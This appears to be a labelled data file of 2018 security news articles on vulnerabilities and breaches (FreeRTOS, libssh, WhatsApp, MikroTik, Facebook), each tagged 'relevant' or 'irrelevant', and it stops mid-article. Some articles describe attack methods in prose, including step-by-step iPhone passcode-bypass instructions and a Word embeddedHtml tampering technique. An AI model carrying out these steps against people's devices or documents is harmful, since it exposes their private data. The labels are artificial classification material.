"Critical Flaws Found in Amazon FreeRTOS IoT Operating System A security researcher has discovered several critical vulnerabilities in one of the most popular embedded real-time operating systems—called FreeRTOS—and its other variants, exposing a wide range of IoT devices and critical infrastructure systems to hackers. What is FreeRTOS (Amazon, WHIS OpenRTOS, SafeRTOS)? FreeRTOS is a leading open source real-time operating system (RTOS) for embedded systems that has been ported to over 40 microcontrollers, which are being used in IoT, aerospace, medical, automotive industries, and more. RTOS has specifically been designed to carefully run applications with very precise timing and a high degree of reliability, every time. A pacemaker is an excellent example of the real-time embedded system that contracts heart muscle at the right time, a process that can't afford delays, to keep a person alive. Since late last year, FreeRTOS project is being managed by Amazon, who created Amazon FreeRTOS (a:FreeRTOS) IoT operating system for microcontrollers by upgrading FreeRTOS kernel and some of its components. Amazon enhanced FreeRTOS functionalities by adding modules for secure connectivity, over the air updates, code signing, AWS cloud support, and more. Besides Amazon, WITTENSTEIN high integrity systems (WHIS) also maintains two variants of FreeRTOS—a commercial version of FreeRTOS called WHIS OpenRTOS, and a safety-oriented RTOS called SafeRTOS, for use in safety-critical devices. FreeRTOS Vulnerabilities and Security Patches Ori Karliner, a security researcher at Zimperium Security Labs (zLabs), discovered a total of 13 vulnerabilities in FreeRTOS's TCP/IP stack that also affect its variants maintained by Amazon and WHIS, as shown below: freeRTOS The vulnerabilities could allow attackers to crash the target device, leak information from its memory, and the most worrisome, remotely execute malicious code on it, thus taking complete control over the target device. ""During our research, we discovered multiple vulnerabilities within FreeRTOS's TCP/IP stack and in the AWS secure connectivity modules. The same vulnerabilities are present in WHIS Connect TCP/IP component for OpenRTOS\SafeRTOS,"" the researcher says. According to the researcher, the vulnerabilities affect FreeRTOS versions up to 10.0.1 (with FreeRTOS+TCP), AWS FreeRTOS versions up to 1.3.1, and WHIS OpenRTOS and SafeRTOS (With WHIS Connect middleware TCP/IP components). Zimperium responsibly reported the vulnerabilities to Amazon, and the company yesterday deployed security patches for AWS FreeRTOS versions 1.3.2 and onwards (latest v1.4.2). ""We also received confirmation from WHIS that they were exposed to the same vulnerabilities, and those were patched together with Amazon,"" zLabs says. To allow smaller vendors to patch the issues before attackers try to leverage them, zLabs has decided not to disclose technical details of these vulnerabilities to the public for at least a month.",relevant
"Bank Servers Hacked to Trick ATMs into Spitting Out Millions in Cash The US-CERT has released a joint technical alert from the DHS, the FBI, and Treasury warning about a new ATM scheme being used by the prolific North Korean APT hacking group known as Hidden Cobra. Hidden Cobra, also known as Lazarus Group and Guardians of Peace, is believed to be backed by the North Korean government and has previously launched attacks against a number of media organizations, aerospace, financial and critical infrastructure sectors across the world. The group had also reportedly been associated with the WannaCry ransomware menace that last year shut down hospitals and big businesses worldwide, the SWIFT Banking attack in 2016, as well as the Sony Pictures hack in 2014. Now, the FBI, the Department of Homeland Security (DHS), and the Department of the Treasury have released details about a new cyber attack, dubbed ""FASTCash,"" that Hidden Cobra has been using since at least 2016 to cash out ATMs by compromising the bank server. FASTCash Hack Fools ATMs into Spitting Out Cash The investigators analyzed 10 malware samples associated with FASTCash cyber attacks and found that attackers remotely compromise payment ""switch application servers"" within the targeted banks to facilitate fraudulent transactions. Switch application server is an essential component of ATMs and Point-of-Sale infrastructures that communicates with the core banking system to validate user's bank account details for a requested transaction. Whenever you use your payment card in an ATM or a PoS machine in a retailer shop, the software asks (in ISO 8583 messages formats) the bank's switch application server to validate the transaction—accept or decline, depending upon the available amount in your bank account. However, Hidden Cobra attackers managed to compromise the switch application servers at different banks, where they had accounts (and their payment cards) with minimal activity or zero balances. The malware installed on the compromised switch application servers then intercepts transaction request associated with the attackers' payment cards and responds with fake but legitimate-looking affirmative response without actually validating their available balance with the core banking systems, eventually fooling ATMs to spit out a large number of cash without even notifying the bank. ""According to a trusted partner's estimation, HIDDEN COBRA actors have stolen tens of millions of dollars,"" the reports says. ""In one incident in 2017, HIDDEN COBRA actors enabled cash to be simultaneously withdrawn from ATMs located in over 30 different countries. In another incident in 2018, HIDDEN COBRA actors enabled cash to be simultaneously withdrawn from ATMs in 23 different countries."" Hidden Cobra threat actors are using the FASTCash scheme to target banks in Africa and Asia, though the U.S. authorities are still investigating the FASTCash incidents to confirm whether the attack targets banks in the United States. How Attackers Managed to Compromise Banks' Switch Application Servers Though the initial infection vector used to compromise Bank networks is unknown, the U.S. authorities believe that the APT threat actors used spear-phishing emails, containing malicious Windows executable, against employees in different banks. Once opened, the executable infected bank employees' computers with Windows-based malware, allowing hackers to move laterally through a bank's network using legitimate credentials and deploy malware onto the payment switch application server. Though most compromised switch application servers were found running unsupported IBM Advanced Interactive eXecutive (AIX) operating system versions, investigators found no evidence that attackers exploited any vulnerability in AIX operating system. US-CERT recommended banks to make two-factor authentication mandatory before any user can access the switch application server, and use best practices to protect their networks. US-CERT has also provided a downloadable copy of IOCs (indicators of compromise), to help you block them and enable network defenses to reduce exposure to any malicious cyber activity by the Hidden Cobra hacking group. In May 2018, the US-CERT also published an advisory alerting users of two different malware—Remote Access Trojan (RAT) known as Joanap and Server Message Block (SMB) worm called Brambul—linked to Hidden Cobra. Last year, the DHS and the FBI also issued an alert describing Hidden Cobra malware Delta Charlie—a DDoS tool that they believed North Korea uses to launch distributed denial-of-service attacks against its targets. Other malware linked to Hidden Cobra in the past includes Destover, Wild Positron or Duuzer, and Hangman with sophisticated capabilities, like DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware.",irrelevant
"Chinese Spying Chips Found Hidden On Servers Used By US Companies A media report today revealed details of a significant supply chain attack which appears to be one of the largest corporate espionage and hardware hacking programs from a nation-state. According to a lengthy report published today by Bloomberg, a tiny surveillance chip, not much bigger than a grain of rice, has been found hidden in the servers used by nearly 30 American companies, including Apple and Amazon. The malicious chips, which were not part of the original server motherboards designed by the U.S-based company Super Micro, had been inserted during the manufacturing process in China. The report, based on a 3-year-long top-secret investigation in the United States, claims that the Chinese government-affiliated groups managed to infiltrate the supply chain to install tiny surveillance chips to motherboards which ended up in servers deployed by U.S. military, U.S. intelligence agencies, and many U.S. companies like Apple and Amazon. ""Apple made its discovery of suspicious chips inside Supermicro servers around May 2015, after detecting odd network activity and firmware problems, according to a person familiar with the timeline,"" the report said. ""Since the implants were small, the amount of code they contained was small as well. But they were capable of doing two very important things: telling the device to communicate with one of several anonymous computers elsewhere on the internet that were loaded with more complex code; and preparing the device's operating system to accept this new code."" The chips suspected to have been added to help Chinese government spy on American companies and their users—basically a ""hardware hack"" that according to the publication is ""more difficult to pull off and potentially more devastating, promising the kind of long-term, stealth access that spy agencies are willing to invest millions of dollars and many years to get."" china spying server chip ""Depending on the board model, the chips varied slightly in size, suggesting that the attackers had supplied different factories with different batches,"" the report said. The publication claims that Apple and Amazon found these chips on their server motherboards in 2015 and reported it to US authorities, though both Apple and Amazon strongly refute the claims. Apple, Amazon, and Super Micro Refute the Bloomberg Report Apple told Bloomberg that the company has never found malicious chips, ""hardware manipulations,"" or vulnerabilities purposely planted in any of its servers, or it ""had any contact with the FBI or any other agency about such an incident."" Apple ended its relationship with Super Micro in 2016. To its best guess, Apple said that the Bloomberg reporters confused their story with a previously-reported 2016 incident in which the company found an infected driver on a single Super Micro server in one of its labs. ""While there has been no claim that customer data was involved, we take these allegations seriously, and we want users to know that we do everything possible to safeguard the personal information they entrust to us,"" Apple says. ""We also want them to know that what Bloomberg is reporting about Apple is inaccurate."" Amazon also says it is ""untrue"" that the company knew of ""a supply chain compromise,"" or ""servers containing malicious chips or modifications in data centers based in China,"" or that it ""worked with the FBI to investigate or provide data about malicious hardware."" Meanwhile, Supermicro and Chinese Ministry of Foreign Affairs have also strongly denied Bloomberg's findings by releasing lengthy statements. Here you can find a full list of official statements from Amazon, Apple, Supermicro and Chinese Ministry of Foreign Affairs.",irrelevant
"Critical Code Execution Flaw Found in LIVE555 Streaming Library Security researchers have discovered a serious code execution vulnerability in the LIVE555 streaming media library—which is being used by popular media players, along with a number of embedded devices capable of streaming media. LIVE555 streaming media, developed and maintained by Live Networks, is a set of C++ libraries companies and application developers use to stream multimedia over open standard protocols like RTP/RTCP, RTSP or SIP. The LIVE555 streaming media libraries support streaming, receiving, and processing of various video formats such as MPEG, H.265, H.264, H.263+, VP8, DV, and JPEG video, and several audio codecs such as MPEG, AAC, AMR, AC-3, and Vorbis. UPDATE: LIVE555 streaming media library supports both server and client, and is internally being used by many well-known media software such as VLC and MPlayer, security researchers at Talos mentioned in the advisory. LIVE555 Streaming Library Though researchers didn't specify if the vulnerable component (a server-side library) is being used by the popular VLC player, team at VLC today contacted THN and clarified that their media player application is using LIVE555 streaming media at the client-side only. The code execution vulnerability, tracked as CVE-2018-4013 and discovered by researcher Lilith Wyatt of Cisco Talos Intelligence Group, resides in the HTTP packet-parsing functionality of the LIVE555 RTSP, which parses HTTP headers for tunneling RTSP over HTTP. ""A specially crafted packet can cause a stack-based buffer overflow, resulting in code execution,"" Cisco Talos' security advisory says. ""An attacker can send a packet to trigger this vulnerability."" To exploit this vulnerability, all an attacker needs to do is create and send ""a packet containing multiple 'Accept:' or 'x-sessioncookie' strings"" to the vulnerable application, which will trigger a stack buffer overflow in the 'lookForHeader' function, leading to arbitrary code execution. Cisco Talos team confirmed the vulnerability in Live Networks LIVE555 Media Server version 0.92, but the team believes the security issue may also be present in the earlier version of the product. Cisco Talos responsibly reported the vulnerability to Live Networks on October 10 and publicly disclosed the security issue on October 18 after the vendor released security patches on October 17.",relevant
"Facebook Fined £500,000 for Cambridge Analytica Data Scandal Facebook has finally been slapped with its first fine of £500,000 for allowing political consultancy firm Cambridge Analytica to improperly gather and misuse data of 87 million users. The fine has been imposed by the UK's Information Commissioner's Office (ICO) and was calculated using the UK's old Data Protection Act 1998 which can levy a maximum penalty of £500,000 — ironically that's equals to the amount Facebook earns every 18 minutes. The news does not come as a surprise as the U.K.'s data privacy watchdog already notified the social network giant in July this year that the commission was intended to issue the maximum fine. For those unaware, Facebook has been under scrutiny since earlier this year when it was revealed that the personal data of 87 million users was improperly gathered and misused by political consultancy firm Cambridge Analytica, who reportedly helped Donald Trump win the US presidency in 2016. The ICO, who launched an investigation the Cambridge Analytica scandal in March, said that the data from at least 1 million British citizens was ""unfairly processed,"" and that Facebook ""failed to take appropriate technical and organisational measures"" to prevent the data from falling into the wrong hands. ""The ICO's investigation found that between 2007 and 2014, Facebook processed the personal information of users unfairly by allowing application developers access to their information without sufficiently clear and informed consent, and allowing access even if users had not downloaded the app, but were simply 'friends' with people who had,"" the ICO said confirming the fine. Besides this, the ICO also stressed that the social network also ""failed to make suitable checks on apps and developers using its platform,"" which eventually expose the personal data of up to 87 million people worldwide, without their knowledge. In response to the ICO announcement, Facebook noted that the company is reviewing the ICO decision, highlighting its previous admission that Facebook ""should have done more"" to investigate claims about Cambridge Analytica in 2015. ""We are grateful that the ICO has acknowledged our full co-operation throughout their investigation and have also confirmed they have found no evidence to suggest UK Facebook users' data was in fact shared with Cambridge Analytica,"" says a Facebook spokesperson in a statement. ""Now that their investigation is complete, we are hopeful that the ICO will now let us have access to CA servers so that we are able to audit the data they received."" However, the £500,000 fine is just a drop in the ocean for a company like Facebook that brought in £31.5 billion in global revenue last year. The penalty could have been much larger had it fallen under EU's General Data Protection Regulation (GDPR), wherein a company could face a maximum fine of 20 million euros or 4% of its annual global revenue, whichever is higher, for such a privacy breach. Facebook's annual revenue was nearly £31.5 billion in 2017, which could have resulted in a possible fine of £1.26 billion under the GDPR rules. But luckily for Facebook that GDPR came into force in May 2018 after the timing of the Cambridge Analytica scandal. Last month, the UK's data protection watchdog also issued the maximum allowed fine of £500,000 on credit reporting agency Equifax for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers.",irrelevant
"Facebook Finds 'No Evidence' Hackers Accessed Connected Third-Party Apps When Facebook last weekend disclosed a massive data breach—that compromised access tokens for more than 50 million accounts—many feared that the stolen tokens could have been used to access other third-party services, including Instagram and Tinder, through Facebook login. Good news is that Facebook found no evidence ""so far"" that proves such claims. In a blog post published Tuesday, Facebook security VP Guy Rosen revealed that investigators ""found no evidence"" of hackers accessing third-party apps with its ""Login with Facebook"" feature. ""We have now analyzed our logs for all third-party apps installed or logged in during the attack we discovered last week. That investigation has so far found no evidence that the attackers accessed any apps using Facebook Login,"" Rosen says. This does not mean that the stolen access tokens that had already been revoked by Facebook do not pose any threat to thousands of third-party services using Facebook Login, as the company explains it depends upon how websites validate their users access tokens. Many websites that do not use Facebook's official SDKs to regularly validate their users access tokens could still allow attackers to access users' accounts using revoked access tokens. In order to help such websites, Facebook is building a tool that will enable developers to ""manually identify the users of their apps who may have been affected, so that they can log them out."" ""Any developer using our official Facebook SDKs — and all those that have regularly checked the validity of their users' access tokens – were automatically protected when we reset people's access tokens,"" Rosen says. While announcing its worst-ever data breach last week, Facebook said unknown hackers had exploited a chain of vulnerabilities in its code to steal 50 million accounts tokens—digital keys that keep users logged in, so they don't need to re-enter their credentials every time they use the app. The social media giant fixed the issue on Thursday night and forcefully logged 90 million users out of their accounts as a precaution by resetting their access tokens. Even after Facebook announced that it found no evidence of hackers accessing third-party services that use Facebook's single sign-on in the massive attack, some of those services are taking necessary steps to safeguard their users. For example, Uber has precautionarily expired all active Facebook-based login sessions temporarily after the data breach, while the company is still investigating the breach at its end. The social media giant has yet to disclose the attackers responsible for the massive attack, their origins, and the data they may have stolen from the affected 50 million Facebook users. The Irish Data Protection Commission said that less than 10 percent of the 50 million users (which equals to five million users) attacked in the breach are based in the European Union (EU), where Facebook can be fined up to $1.63 billion under the nation's General Data Protection Regulation (GDPR) if it did not find doing enough to protect the security of users.",irrelevant
"GhostDNS: New DNS Changer Botnet Hijacked Over 100,000 Routers Chinese cybersecurity researchers have uncovered a widespread, ongoing malware campaign that has already hijacked over 100,000 home routers and modified their DNS settings to hack users with malicious web pages—especially if they visit banking sites—and steal their login credentials. Dubbed GhostDNS, the campaign has many similarities with the infamous DNSChanger malware that works by changing DNS server settings on an infected device, allowing attackers to route the users' internet traffic through malicious servers and steal sensitive data. According to a new report from cybersecurity firm Qihoo 360's NetLab, just like the regular DNSChanger campaign, GhostDNS scans for the IP addresses for routers that use weak or no password at all, accesses the routers' settings, and then changes the router's default DNS address to the one controlled by the attackers. GhostDNS System: List of Modules and Sub-Modules ghostdns botnet malware The GhostDNS system mainly includes four modules: 1) DNSChanger Module: This is the main module of GhostDNS designed to exploit targeted routers based upon collected information. DNSChanger Module is comprised of three sub-modules, which the researchers dubbed, Shell DNSChanger, Js DNSChanger, and PyPhp DNSChanger. a.) Shell DNSChanger—Written in the Shell programming language, this sub-module combines 25 Shell scripts that can brute-force the passwords on routers or firmware packages from 21 different manufacturers. b.) Js DNSChanger—Mainly written in JavaScript, this sub-module includes 10 attack scripts designed to infect 6 routers or firmware packages. ""Its functional structure is mainly divided into scanners, payload generators, and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Phishing Web System,"" the researchers say. c.) PyPhp DNSChanger—Written in both Python and PHP, this submodule contains 69 attack scripts against 47 different routers/firmware and has been found deployed on over 100 servers, most of which on Google Cloud, and includes functionalities like Web API, Scanner and Attack module. This sub-module is the core module of DNSChanger that allows attackers to scan the Internet to find vulnerable routers. 2) Web Admin module: Though researchers do not have too much information about this module yet, it seems to be an admin panel for attackers secured with a login page. 3) Rogue DNS module: This module is responsible for resolving targeted domain names from the attacker-controlled web servers, which mainly involves banking and cloud hosting services, along with a domain that belongs to a security company named Avira. ""We have no access to the Rouge DNS server, so we can't say for sure how many DNS names have been hijacked, but by querying both Alexa Top1M and our DNSMon's Top1M domains against the rogue DNS server (139.60.162.188), we were able to find a total of 52 domains being hijacked,"" NetLab researchers say. 4) Phishing Web module: When a targeted domain successfully gets resolved through the rogue DNS module, Phishing web module aims to server the right fake version for that specific website. GhostDNS Malware Targeting Brazilian Users Primarily router firmware hacking According to the researchers, between September 21 and 27, the GhostDNS campaign compromised more than 100,000 routers, of which 87.8 percent of devices (which equals to 87,800) are located in Brazil only, which means Brazil is the primary target for GhostDNS attackers. Also Read: VPNFilter Router Malware Adds 7 New Network Exploitation Modules ""Currently the campaign mainly focuses on Brazil, we have counted 100k+ infected router IP addresses (87.8% located in Brazil), and 70+ router/firmware have been involved, and 50+ domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials,"" the researchers say. Since the GhostDNS campaign is highly scaled, utilizes different attack vector and adopts automated attack process, it poses a real threat to users. Therefore, users are advised to protect themselves. How to Protect Your Home Router from Hackers In order to avoid yourself from being a victim to such attacks, you are recommended to ensure that your router is running the latest version of the firmware and set a strong password for the router web portal. You can also consider disabling remote administration, changing its default local IP address, and hardcoding a trusted DNS server into your router or the operating system. NetLab researchers also recommended the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.",irrelevant
"Google+ is Shutting Down After a Vulnerability Exposed 500,000 Users' Data Google is going to shut down its social media network Google+ after the company suffered a massive data breach that exposed the private data of hundreds of thousands of Google Plus users to third-party developers. According to the tech giant, a security vulnerability in one of Google+'s People APIs allowed third-party developers to access data for more than 500,000 users, including their usernames, email addresses, occupation, date of birth, profile photos, and gender-related information. Since Google+ servers do not keep API logs for more than two weeks, the company cannot confirm the number of users impacted by the vulnerability. However, Google assured its users that the company found no evidence that any developer was aware of this bug, or that the profile data was misused by any of the 438 developers that could have had access. ""However, we ran a detailed analysis over the two weeks prior to patching the bug, and from that analysis, the Profiles of up to 500,000 Google+ accounts were potentially affected. Our analysis showed that up to 438 applications may have used this API,"" Google said in blog post published today. The vulnerability was open since 2015 and fixed after Google discovered it in March 2018, but the company chose not to disclose the breach to the public—at the time when Facebook was being roasted for Cambridge Analytica scandal. Though Google has not revealed the technical details of the security vulnerability, the nature of the flaw seems to be something very similar to Facebook API flaw that recently allowed unauthorized developers to access private data from Facebook users. Besides admitting the security breach, Google also announced that the company is shutting down its social media network, acknowledging that Google+ failed to gain broad adoption or significant traction with consumers. ""The consumer version of Google+ currently has low usage and engagement: 90 percent of Google+ user sessions are less than five seconds,"" Google said. In response, the company has decided to shut down Google+ for consumers by the end of August 2019. However, Google+ will continue as a product for Enterprise users. Google Introduces New Privacy Controls Over Third-Party App Permissions As part of its ""Project Strobe,"" Google engineers also reviewed third-party developer access to Google account and Android device data; and has accordingly now introduced some new privacy controls. When a third-party app prompts users for access to their Google account data, clicking ""Allow"" button approves all requested permissions at once, leaving an opportunity for malicious apps to trick users into giving away powerful permissions. google api permissions But now Google has updated its Account Permissions system that asks for each requested permission individually rather than all at once, giving users more control over what type of account data they choose to share with each app. Since APIs can also allow developers to access users' extremely sensitive data, like that of Gmail account, Google has limited access to Gmail API only for apps that directly enhance email functionality—such as email clients, email backup services and productivity services. Google shares fell over 2 percent to $1134.23 after the data breach reports.",irrelevant
"30 Million Facebook Accounts Were Hacked: Check If You're One of Them Late last month Facebook announced its worst-ever security breach that allowed an unknown group of hackers to steal secret access tokens for millions of accounts by taking advantage of a flaw in the 'View As' feature. At the time of the initial disclosure, Facebook estimated that the number of users affected by the breach could have been around 50 million, though a new update published today by the social media giant downgraded this number to 30 million. Out of those 30 million accounts, hackers successfully accessed personal information from 29 million Facebook users, though the company assured that the miscreants apparently didn't manage to access any third-party app data. Here's How Facebook Classified the Stolen Data: hack facebook Facebook vice president of product management Guy Rosen published a new blog post Friday morning to share further details on the massive security breach, informing that the hackers stole data from those affected accounts, as follows: For about 15 million Facebook users, attackers accessed two sets of information: usernames and contact information including phone numbers, email addresses and other contact information depending on what users had on their profiles. For about 14 million Facebook users, attackers accessed an even wider part of their personal data, including the same two sets of information mentioned above, along with other details users had on their profiles, like gender, language, relationship status, religion, hometown, current city, birthdate, device types used to access Facebook, education, work, the last 10 places they checked into or were tagged in, website, people or pages they follow, and the 15 most recent searches. A remaining 1 million Facebook users did not have any personal data accessed by the attackers. Besides this, Rosen also added that the attackers had no information to data from ""Messenger, Messenger Kids, Instagram, WhatsApp, Oculus, Workplace, Pages, payments, third-party apps, or advertising or developer accounts."" Moreover, hackers also were not able to access any private message content, with one notable exception—If a user is a Facebook page administrator who had received or exchanged messages from someone on Facebook, the content of those messages was exposed to the attackers. Here's How to Check If You Are One of 30 Million Affected Users Facebook said users can check whether they were affected by the breach by visiting the social network's Help Center. Facebook also added that the company will directly inform those 30 million users affected to explain what information the attackers might have accessed, along with steps they can take to help protect themselves from any suspicious emails, text messages, or calls. So far the identity of the hackers remains unclear, but Rosen said Facebook is working with the FBI, the US Federal Trade Commission, Irish Data Protection Commission, and other authorities to investigate who might be behind the breach or if they were targeting anyone in particular.",irrelevant
"Just Answering A Video Call Could Compromise Your WhatsApp Account What if just receiving a video call on WhatsApp could hack your smartphone? This sounds filmy, but Google Project Zero security researcher Natalie Silvanovich found a critical vulnerability in WhatsApp messenger that could have allowed hackers to remotely take full control of your WhatsApp just by video calling you over the messaging app. The vulnerability is a memory heap overflow issue which is triggered when a user receives a specially crafted malformed RTP packet via a video call request, which results in the corruption error and crashing the WhatsApp mobile app. Since the vulnerability affect RTP (Real-time Transport Protocol) implementation of Whatsapp, the flaw affects Android and iOS apps, but not WhatsApp Web that relies on WebRTC for video calls. Silvanovich also published a proof-of-concept exploit, along with the instructions for reproducing the WhatsApp attack. Although the proof-of-concept published by Silvanovich only triggers memory corruption, another Google Project Zero researcher, Tavis Ormandy, claims that ""This is a big deal. Just answering a call from an attacker could completely compromise WhatsApp."" In other words, hackers only need your phone number to completely hijack your WhatsApp account and spy on your secret conversations. Silvanovich discovered and reported the vulnerability to the WhatsApp team in August this year. WhatsApp acknowledged and patched the issue on September 28 in its Android client and on October 3 in its iPhone client. So if you have not yet updated your WhatsApp for Android or WhatsApp for iOS, You should consider upgrading now. Two months ago, researchers also discovered a flaw in the way WhatsApp mobile app connects with WhatsApp Web that allowed malicious users to intercept and modify the content of messages sent in both private as well as group conversations.",relevant
"New iPhone Passcode Bypass Found Hours After Apple Releases iOS 12.1 It's only been a few hours since Apple releases iOS 12.1 and an iPhone enthusiast has managed to find a passcode bypass hack, once again, that could allow anyone to see all contacts' private information on a locked iPhone. Jose Rodriguez, a Spanish security researcher, contacted The Hacker News and confirmed that he discovered an iPhone passcode bypass bug in the latest version of its iOS mobile operating system, iOS 12.1, released by Apple today. To demonstrate the bug, Rodriguez shared a video with The Hacker News, as shown below, describing how the new iPhone hack works, which is relatively simple to perform than his previous passcode bypass findings. Instead, the issue resides in a new feature, called Group FaceTime, introduced by Apple with iOS 12.1, which makes it easy for users to video chat with more people than ever before—maximum 32 people. How Does the New iPhone Passcode Bypass Attack Work? Unlike his previous passcode bypass hacks, the new method works even without having Siri or VoiceOver screen reader feature enabled on a target iPhone, and is trivial to execute. Here are steps to execute the new passcode bypass hack: Call the target iPhone from any other iPhone (if you don't know the target's phone number, you can ask Siri ""who I am,"" or ask Siri to make a call to your phone number digit by digit), or use Siri to call on your own iPhone. As soon as the call connects, initiate the ""Facetime"" video call from the same screen. Now go to the bottom right menu and select ""Add Person."" Press the plus icon (+) to access the complete contact list of the targeted iPhone, and by doing 3D Touch on each contact, you can see more information. ""In a passcode-locked iPhone with latest iOS released today Tuesday, you receive a phone call, or you ask Siri make a phone call (can be digit by digit), and, by changing the call to FaceTime you can access to the contact list while adding more people to the Group FaceTime, and by doing 3D Touch on each contact you can see more contact information,"" Rodriguez told The Hacker News. Also, it should be noted that since the attack utilizes Apple's Facetime, the hack would only work if the devices involved in the process are iPhones. The new passcode bypass method seems to work on all current iPhone models, including iPhone X and XS devices, running the latest version of the Apple mobile operating system, i.e., iOS 12.1. Since there's no workaround to temporarily fix the issue, users can just wait for Apple to issue a software update to address the new iPhone passcode bypass bug as soon as possible. Rodriguez has previously discovered a series of iPhone passcode bypass hacks. Around two weeks ago, he found an iPhone bypass hack that works in 12.0.1 and takes advantage of Siri and VoiceOver screen reader to get through your phone's defenses, allowing attackers to access photos and contacts on a locked iPhone. Rodriguez discovered a similar bug in iOS 12 in late last month that also takes advantage of Siri and VoiceOver screen reader, and allows attackers with physical access to your iPhone to access your contacts and photos.",relevant
"LibSSH Flaw Allows Hackers to Take Over Servers Without Password A four-year-old severe vulnerability has been discovered in the Secure Shell (SSH) implementation library known as Libssh that could allow anyone to completely bypass authentication and gain unfettered administrative control over a vulnerable server without requiring a password. The security vulnerability, tracked as CVE-2018-10933, is an authentication-bypass issue that was introduced in Libssh version 0.6 released earlier 2014, leaving thousands of enterprise servers open to hackers for the last four years. But before you get frightened, you should know that neither the widely used OpenSSH nor Github's implementation of libssh was affected by the vulnerability. The vulnerability resides due to a coding error in Libssh and is ""ridiculously simple"" to exploit. According to a security advisory published Tuesday, all an attacker needs to do is sending an ""SSH2_MSG_USERAUTH_SUCCESS"" message to a server with an SSH connection enabled when it expects an ""SSH2_MSG_USERAUTH_REQUEST"" message. Due to a logical flaw in libssh, the library fails to validate if the incoming ""successful login"" packet was sent by the server or the client, and also fails to check if the authentication process has been completed or not. Therefore, if a remote attacker (client) sends this ""SSH2_MSG_USERAUTH_SUCCESS"" response to libssh, it considers that the authentication has been successful and will grant the attacker access to the server, without needing to enter a password. Although GitHub uses libssh, it confirms that its official website and GitHub Enterprise are not affected by the vulnerability due to how GitHub uses the library. ""We use a custom version of libssh; SSH2_MSG_USERAUTH_SUCCESS with the libssh server is not relied upon for pubkey-based auth, which is what we use the library for,"" a GitHub security official said on Twitter. ""Patches have been applied out of an abundance of caution, but GHE [GitHub Enterprise] was never vulnerable to CVE-2018-10933."" Shodan search shows that around 6,500 internet-facing servers may be impacted due to the use of Libssh one or the other way. The security bug was discovered by Peter Winter-Smith from NCC Group, who responsibly disclosed the issue to Libssh. The Libssh team addressed the issue with the release of its updated libssh versions 0.8.4 and 0.7.6 on Tuesday, and the details of the vulnerability were also released at the same time. If you have Libssh installed on your website, and mainly if you are using the server component, you are highly recommended to install the updated versions of Libssh as soon as possible.",relevant
"Unpatched MS Word Flaw Could Allow Hackers to Infect Your Computer Cybersecurity researchers have revealed an unpatched logical flaw in Microsoft Office 2016 and older versions that could allow an attacker to embed malicious code inside a document file, tricking users into running malware onto their computers. Discovered by researchers at Cymulate, the bug abuses the 'Online Video' option in Word documents, a feature that allows users to embedded an online video with a link to YouTube, as shown. When a user adds an online video link to an MS Word document, the Online Video feature automatically generates an HTML embed script, which is executed when the thumbnail inside the document is clicked by the viewer. Researchers decided to go public with their findings three months after Microsoft refused to acknowledge the reported issue as a security vulnerability. How Does the New MS Word Attack Works? Since the Word Doc files (.docx) are actually zip packages of its media and configuration files, it can easily be opened and edited. microsoft office online video hack According to the researchers, the configuration file called 'document.xml,' which is a default XML file used by Word and contains the generated embedded-video code, can be edited to replace the current video iFrame code with any HTML or javascript code that would run in the background. In simple words, an attacker can exploit the bug by replacing the actual YouTube video with a malicious one that would get executed by the Internet Explorer Download Manager. ""Inside the .xml file, look for the embeddedHtml parameter (under WebVideoPr) which contains the Youtube iframe code,"" the researchers said. ""Save the changes in the document.xml file, update the docx package with the modified XML and open the document. No security warning is presented while opening this document with Microsoft Word."" Video Demonstration: MS Word Online Video Flaw To prove the extent of the vulnerability, Cymulate researchers created a , demonstrating how a maliciously crafted document with an embed video, which if clicked, would prompt user to run an embedded executable (as a blob of a base64)–without downloading anything from the internet or displaying any security warning when the victim clicks on the video thumbnail. cybersecurity html code The hack requires an attacker to convince victims into opening a document and then clicking on an embedded video link. Cymulate researchers responsibly reported this bug, which impacts all users with MS Office 2016 and older versions of the productivity suite, three months ago to Microsoft, but the company refused to acknowledge it as a security vulnerability. Apparently, Microsoft has no plans to fix the issue and says its software is ""properly interpreting HTML as designed."" Meanwhile, researchers recommended enterprise administrators to block Word documents containing the embedded video tag: ""embeddedHtml"" in the Document.xml file, and end users are advised not to open uninvited email attachments from unknown or suspicious sources.",relevant
"New Exploit for MikroTik Router WinBox Vulnerability Gives Full Root Access A known vulnerability in MikroTik routers is potentially far more dangerous than previously thought. A cybersecurity researcher from Tenable Research has released a new proof-of-concept (PoC) RCE attack for an old directory traversal vulnerability that was found and patched within a day of its discovery in April this year. The vulnerability, identified as CVE-2018-14847, was initially rated as medium in severity but should now be rated critical because the new hacking technique used against vulnerable MikroTik routers allows attackers to remotely execute code on affected devices and gain a root shell. The vulnerability impacts Winbox—a management component for administrators to set up their routers using a Web-based interface—and a Windows GUI application for the RouterOS software used by the MikroTik devices. The vulnerability allows ""remote attackers to bypass authentication and read arbitrary files by modifying a request to change one byte related to a Session ID."" New Hack Turned 'Medium' MikroTik Vulnerability Into 'Critical' However, the new attack method found by Tenable Research exploits the same vulnerability and takes it to one step ahead. A PoC exploit, called ""By the Way,"" released by Tenable Research Jacob Baines, first uses directory traversal vulnerability to steal administrator login credentials from user database file and the then writes another file on the system to gain root shell access remotely. In other words, the new exploit could allow unauthorized attackers to hack MikroTik's RouterOS system, deploy malware payloads or bypass router firewall protections. The technique is yet another security blow against MikroTik routers, which was previously targeted by the VPNFilter malware and used in an extensive cryptojacking campaign uncovered a few months ago. New MikroTik Router Vulnerabilities Besides this, Tenable Research also disclosed additional MikroTik RouterOS vulnerabilities, including: CVE-2018-1156—A stack buffer overflow flaw that could allow an authenticated remote code execution, allowing attackers to gain full system access and access to any internal system that uses the router. CVE-2018-1157—A file upload memory exhaustion flaw that allows an authenticated remote attacker to crash the HTTP server. CVE-2018-1159—A www memory corruption flaw that could crash the HTTP server by rapidly authenticating and disconnecting. CVE-2018-1158—A recursive parsing stack exhaustion issue that could crash the HTTP server via recursive parsing of JSON. The vulnerabilities impact Mikrotik RouterOS firmware versions before 6.42.7 and 6.40.9. Tenable Research reported the issues to MikroTik in May, and the company addressed the vulnerabilities by releasing its RouterOS versions 6.40.9, 6.42.7 and 6.43 in August. While all the vulnerabilities were patched over a month ago, a recent scan by Tenable Research revealed that 70 percent of routers (which equals to 200,000) are still vulnerable to attack. The bottom line: If you own a MikroTik 